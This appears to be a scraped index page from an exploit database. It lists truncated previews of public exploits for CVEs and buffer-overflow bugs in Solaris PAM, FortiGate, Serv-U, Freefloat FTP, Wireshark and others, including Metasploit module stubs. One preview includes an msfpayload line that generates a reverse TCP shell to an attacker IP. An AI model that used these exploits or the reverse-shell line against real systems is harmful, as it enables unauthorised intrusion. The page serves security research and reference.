CVE-2025-38248_EXP

CVE-2025-38248EXP The first exploit for CVE-2025-38248 The exploit has two modes: ROP and dataonly. Interested masters can study it...

CVE-2020-14871-Exploit

CVE 2020-14871 Solaris exploit This is a basic ROP based exploit for CVE 2020-14871. CVE 2020-14871 is a vulnerability in Sun Solaris systems. The actual vulnerability is a classic stack-based buffer overflow located in the PAM parseusername function. It can be reached by manipulating SSH client...

CVE-2022-42475

CVE-2022-42475 Background This is the exploit for the blog post here: https://bishopfox.com/blog/exploit-cve-2022-42475 Redacted Version This version of the exploit will not work without you, the hacker, supplying the necessary memory addresses for ROP gadgets, etc. The work to determine these da...

CVE-2021-35211

Serv-U CVE-2021-35211 Exploit Potential for DoS - check your rules of engagement The exploit doesn't work every time, but it works enough that it will run shellcode in roughly 1 in every 5 or 6 runs. However, sometimes a failed exploit will crash the Serv-U server. Please ensure that your rules o...

exploit-starcraft-rop-virtualalloc-EUD

This repository does not have a README...

Freefloat FTP Server 1.0 - 'SITE ZONE' Command Buffer Overflow

Vulnerability background An ftp server seems to be very small,the feeling should be not many people use this to open the ftp service, but there is a vulnerability, and zoomeye be able to search to a lot of equipment to use the service,and the analysis very simple. Vulnerability details Treatment...

ICONICS WebHMI ActiveX Stack Overflow

No description provided by source. , , . .' '. ', . , '. , ., , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' ='=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF:...

Easy File Management Web Server 5.3 - UserID Remote Buffer Overflow (ROP)

Easy File Management Web Server 5.3 - UserID Remote Buffer Overflow ROP !/usr/bin/python Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow ROP Version: 5.3 Date: 2014-05-31 Author: Julien Ahrens @MrTuxracer Homepage: http://www.rcesecurity.com Software Link:...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

!usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117 LPORT=443 R | msfencode -a x86 -b...

Midori Browser 0.3.2 Denial Of Service

Title: Midori Browser 0.3.2 Denial Of Service Object++ Exploit + Date: 9:44:14am 27 s3pt 2012 + Author: Ryuzaki Lawlet + 3mail: [email protected] + Blog: http://justryuz.blogspot.com + Platform: nix + OS: Ubuntu 11.10 +Information: the vulnerability is silently patched for Firefox below 4.0 and...

MPlayer Lite 33064 Buffer Overflow

!/usr/bin/perl +Exploit Title: MPlayer Lite r33064 m3u Buffer Overflow ExploitDEP BYPASS +Date: 24\07\2011 +Author: C4SS!0 and h1ch4m +Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayerRelease/Revision%2033064/mplayerliter33064.7z/download +Version: Lite 33064 +Tested On:...

Magix Musik Maker 16 - '.mmm' Local Stack Buffer Overflow (Metasploit)

$Id: magixmusikmaker16mmm.rb 12688 2011-05-22 23:41:15Z swtornio $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Security-Assessment.com Advisory: ICONICS WebHMI ActiveX Stack Overflow

, , . .' '. ', . , '. , ., , / / / ==/ / / / / / / | Y Y / /| / /||| / / /.-. / /:wq x.0 '=.|w|.=' ='"=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF: http://www.security-assessment.com/files/documents/advisory/ICONICSWebHMI.pdf +-----------+...

ICONICS WebHMI Active-X Stack Overflow

, , . .' '. ', . , '. , ., , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' ='"=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF:...

ICONICS WebHMI ActiveX Stack Overflow

Exploit for windows platform in category remote exploits , , . .' '. ', . , '. , ., , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' ='"=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF:...

MJM Core Player 2011 .s3m Stack Buffer Overflow

This module exploits a stack buffer overflow in MJM Core Player 2011 When opening a malicious s3m file in this application, a stack buffer overflow can be triggered, resulting in arbitrary code execution. This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Module Options msf use...

Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow

Exploit for windows platform in category remote exploits $Id: wiresharkpacketdect.rb 12364 2011-04-19 07:53:58Z sinn3r $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more informatio...

Wireshark 1.4.1 1.4.4 - Local Overflow (SEH)

Wireshark 1.4.1 1.4.4 - Local Overflow SEH !/usr/bin/env python Vulnerable app: Wireshark 1.4.1-1.4.4 Author: sickness Download : OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off still working on a ROP exploit DATE : 17.04.2011 Fixed in latest version 1.4.5...

Wireshark packet-dect.c Stack Buffer Overflow

This module exploits a stack buffer overflow in Wireshark use exploit/windows/misc/wireshark/packetdect msf undefinedpacketdect show actions ...actions... msf undefinedpacketdect set ACTION msf undefinedpacketdect show options ...show and set options... msf undefinedpacketdect run This module...

Wireshark 1.4.4 SEH Overflow

!/usr/bin/env python Vulnerable app: Wireshark 1.4.1-1.4.4 Author: sickness Download : OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off still working on a ROP exploit DATE : 17.04.2011 Fixed in latest version 1.4.5 DO NOT FORGET TO FEEL THE PWNSAUCE WITH:...